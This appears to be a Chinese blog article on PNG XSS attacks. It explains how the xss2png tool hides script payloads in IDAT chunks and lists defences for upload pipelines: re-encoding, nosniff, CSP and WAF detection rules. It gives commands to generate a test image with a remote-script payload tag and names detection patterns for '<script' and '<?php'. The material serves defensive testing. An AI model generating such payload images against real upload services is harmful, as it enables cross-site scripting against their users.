news 2026/8/20 12:51:35

一张 PNG 如何藏进攻击代码?PNG XSS 攻击实战防御完整指南

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
一张 PNG 如何藏进攻击代码?PNG XSS 攻击实战防御完整指南

一张 PNG 如何藏进攻击代码?PNG XSS 攻击实战防御完整指南

【免费下载链接】xss2pngPNG IDAT chunks XSS payload generator项目地址: https://gitcode.com/gh_mirrors/xs/xss2png

图片等于安全——这个直觉正在被 PNG XSS 攻击悄悄打破。开源工具 xss2png 能把一段<script>代码塞进 PNG 图片的 IDAT 数据块:成品肉眼是正常图片,浏览器渲染毫无异常,可一旦被处理不当的上传接口、图片代理或文件包含逻辑"当作 HTML 解析",藏在里面的脚本就会原地执行。2016 年就有人靠这种手法在知名社交平台拿到过漏洞赏金。先别慌,记住一个前提:绝大多数正常图片是绝对安全的,问题只出在"图片被错误地当成了代码"的那一刻。

xss2png 是什么:给图片做"安全体检"的小工具

xss2png 是一个只有单个 Python 文件、依赖仅 Pillow 的轻量工具,初衷是把"在 PNG 的 IDAT 数据块里嵌入 XSS payload"这件事压缩成一条命令。它适合两类人:做渗透测试和漏洞赏金的安全研究员,以及想给自家图片上传功能做体检的开发者、运维。用它,你能在五分钟内生成一张"看起来人畜无害、实则夹带私货"的 PNG。

一张 PNG 里有暗格:用"快递包裹"看懂 IDAT 数据块

PNG 不是一整块像素,而是一串有结构的数据块。你可以把它想象成一个快递包裹:

PNG 组成部分白话解释
8 字节文件头固定魔数,相当于包裹外壳上的品牌标识
IHDR 数据块面单:记录宽、高、位深等基本参数
IDAT 数据块主隔层:压缩后的图像数据,payload 就藏在这里
IEND 数据块封口胶带:声明"包裹到此为止"

IDAT 里的图像数据经过 zlib 压缩(zlib 是一种通用压缩算法,和 ZIP 同源),xss2png 的骚操作在于"反向打包":它把 payload 预先编码成符合压缩规则的字节,再混进像素值里,让压缩后的结果恰好把 payload 以明文形式"原样躺在"图像数据中间——就像卖家把写着暗号的纸条伪装成填充物塞进包裹夹层。快递公司查验尺寸、重量、封装,全都没问题。🖼️

图片上传漏洞防护:先对号入座这 4 类高发场景

藏是藏好了,怎么触发?条件是图片字节最终被当成 HTML/文本解析。最容易踩雷的链路有四条:

场景风险点快速自检
头像/附件上传文件直接落在 web 根目录,且目录允许脚本执行上传后文件 URL 能直接访问到?
富文本编辑器图片被原样嵌入文章页,响应头缺 nosniff编辑器支持拖拽/粘贴本地图片?
CDN 图片代理缓存后以错误 Content-Type 回源图片 URL 是否强制 image/*?
图床/文件分享文件包含逻辑把 PNG 当 HTML 输出是否开启 MIME 嗅探防护?

如果你的系统存在"上传图片 → 把图片内容返回给浏览器"这条链路,就值得把后面两节读完。

PNG 图片恶意代码检测:为什么扫描器会漏掉它

三个原因让这种攻击天然隐身。第一,字节合法:payload 是图像数据的一部分,IDAT 压缩流完全符合 zlib 规范,按"图像"解析的静态扫描器看不出毛病。第二,渲染正常:图片在浏览器和看图软件里显示毫无异常,人工抽查形同虚设。第三,触发隐蔽:它只在"图片被当 HTML 解析"的特定页面生效,普通爬虫和常规安全测试请求根本触发不了。🧐 换句话说,扫描器不是不努力,而是它的"世界观"里根本没有"图像数据里能明文躺着脚本"这件事。

分层防护手册:三种角色,三套动作

个人开发者(三件今天就能做的事):

  • 上传校验别只看扩展名——读文件头并用 Pillow 重新解码再保存,服务端重编码是最有效的"消毒"手段;
  • 图片上传目录禁止脚本执行,在 Nginx 里让该目录不经过任何 PHP/FastCGI 处理;
  • 图片响应统一加X-Content-Type-Options: nosniff,命令浏览器禁止 MIME 嗅探(MIME 嗅探是浏览器在响应头缺失时,根据文件内容自作主张猜类型的机制)。

运维人员

  • 网关/CDN 层强制图片响应 Content-Type 为 image/*,并携带 nosniff;
  • 在 WAF 或流量侧加一条特征规则:图片数据流里出现<script<?php等明文标记即告警拦截(payload 是明文的,这条规则成本低、见效快);
  • 上传文件放独立对象存储,web 服务器只做跳转、不落地文件。

企业安全团队

  • 图片处理流水线强制服务端重编码,原始字节一律丢弃,从源头掐断;
  • 定期用 xss2png 生成样本做红队演练,验证 WAF、CSP、nosniff 三层防线是否真能拦截;
  • 收紧 CSP(内容安全策略,可理解为"告诉浏览器哪些脚本可信"的规则清单),img-src 限定来源、script-src 不放行内联脚本,并备好"发现携带 payload 图片"后的溯源清理预案。🛡️

今日自查清单:5 件低门槛的图片安全检查

#检查项5 分钟做法
1上传是否只看扩展名?file命令对比文件真实类型
2图片响应带 nosniff 了吗?curl -I 图片URL查看响应头
3上传目录能执行脚本吗?放一个 .php 测试文件试着请求
4Content-Type 是 image/* 吗?curl -I确认响应头
5图片处理库是最新稳定版吗?pip list 对比官方版本号

这五项都不需要写代码,十分钟能跑完,性价比极高。🔒

用 xss2png 验证你的防线:3 条命令生成测试图

动手之前,先认识一下"敌人"长什么样:

git clone https://gitcode.com/gh_mirrors/xs/xss2png cd xss2png && pip install -r requirements.txt python3 xss2png.py -p "<SCRIPT SRC=//你的域名/x.js></SCRIPT>" -o test.png

两个提醒:工具会自动把 payload 转成大写,脚本标签建议直接写大写;生成后用strings test.png | grep -i script或 hexdump 查看,你能直接在 IDAT 区域看到明文的<SCRIPT>。然后把 test.png 丢进自己的测试环境,依次验证上传接口是否拦截、图片响应是否带 nosniff、WAF 是否告警——任何一个环节亮红灯,都说明防线有洞。⚠️ 请牢记:xss2png 只应用于你有明确授权的目标,项目作者的原话是 "Don't be evil",把它留在自家靶场里。

延伸探索:想深入理解 payload 的生成与过滤绕过逻辑,可阅读项目内的xss2png.py(核心在 reverse_huffman 与 bypass_png_filters 两个函数);完整的用法与案例记录在README.md

回到开头的那个直觉——"图片是安全的"。这个判断本身,或许才是最大的漏洞。PNG 从来不只是像素,它天生是个带暗格的容器;而安全也从来不是"看起来没问题",而是"验证过没问题"。下一次当你把图片交给自己的服务时,不妨多问一句:它,真的只是一张图片吗?

【免费下载链接】xss2pngPNG IDAT chunks XSS payload generator项目地址: https://gitcode.com/gh_mirrors/xs/xss2png

创作声明:本文部分内容由AI辅助生成(AIGC),仅供参考

版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/8/20 12:51:19

大数据开发必备:Oracle数据库核心知识与面试要点

1. 大数据开发岗位与Oracle的关系解析在大数据开发岗位的面试中&#xff0c;Oracle数据库相关知识的考察频率居高不下&#xff0c;这背后有着深刻的行业背景和技术逻辑。作为关系型数据库的标杆产品&#xff0c;Oracle在企业级应用中占据着不可替代的位置&#xff0c;特别是在金…

作者头像 李华
网站建设 2026/8/20 12:46:27

BootstrapAgent:基于知识蒸馏的智能项目初始化方案设计与实现

1. 项目概述&#xff1a;从“手动配置地狱”到“智能初始化” 如果你是一名开发者&#xff0c;尤其是需要频繁搭建新项目、配置新环境的全栈工程师或DevOps&#xff0c;那么下面这个场景你一定不陌生&#xff1a;拿到一个新项目的代码仓库&#xff0c; git clone 下来之后&am…

作者头像 李华
网站建设 2026/8/20 12:44:15

终于有人把RS485说清楚了,现场踩了七八年的坑,今天全倒出来

我刚入行那会儿&#xff0c;接手第一个带RS485接口的项目&#xff0c;心里想的是&#xff1a;不就是两根线嘛&#xff0c;A接A、B接B&#xff0c;波特率设对了就能通&#xff0c;能有多大事。后来我被现实抽了无数个嘴巴子。同样的接线方式&#xff0c;这个项目跑得稳稳当当&am…

作者头像 李华
网站建设 2026/8/20 12:43:26

智能车竞赛B车调校:从机械结构到控制算法的全流程实战指南

1. 项目概述&#xff1a;从“困难”到“攻克”的B车之旅 如果你正在准备或已经投身于全国大学生智能车竞赛的四轮组&#xff0c;尤其是面对那台让人又爱又恨的B型车模&#xff0c;那么这篇文章或许能让你少走一些弯路。这不是一篇官方的技术手册&#xff0c;而是一个从无数次深…

作者头像 李华
网站建设 2026/8/20 12:40:33

ROS2分层详解及足式机器人QoS配置

一、ROS2完整分层 ROS2的客户端库统称RCL (ROS Client Library)&#xff0c;是 ROS2 最核心底层 C 语言库&#xff0c;所有高级语言接口&#xff08;rclcpp、rclpy、rcljava…&#xff09;全部基于 RCL 封装。RCL自底向上的分层顺序 为&#xff1a;DDS 层 →RMW 层 → RCL 核心…

作者头像 李华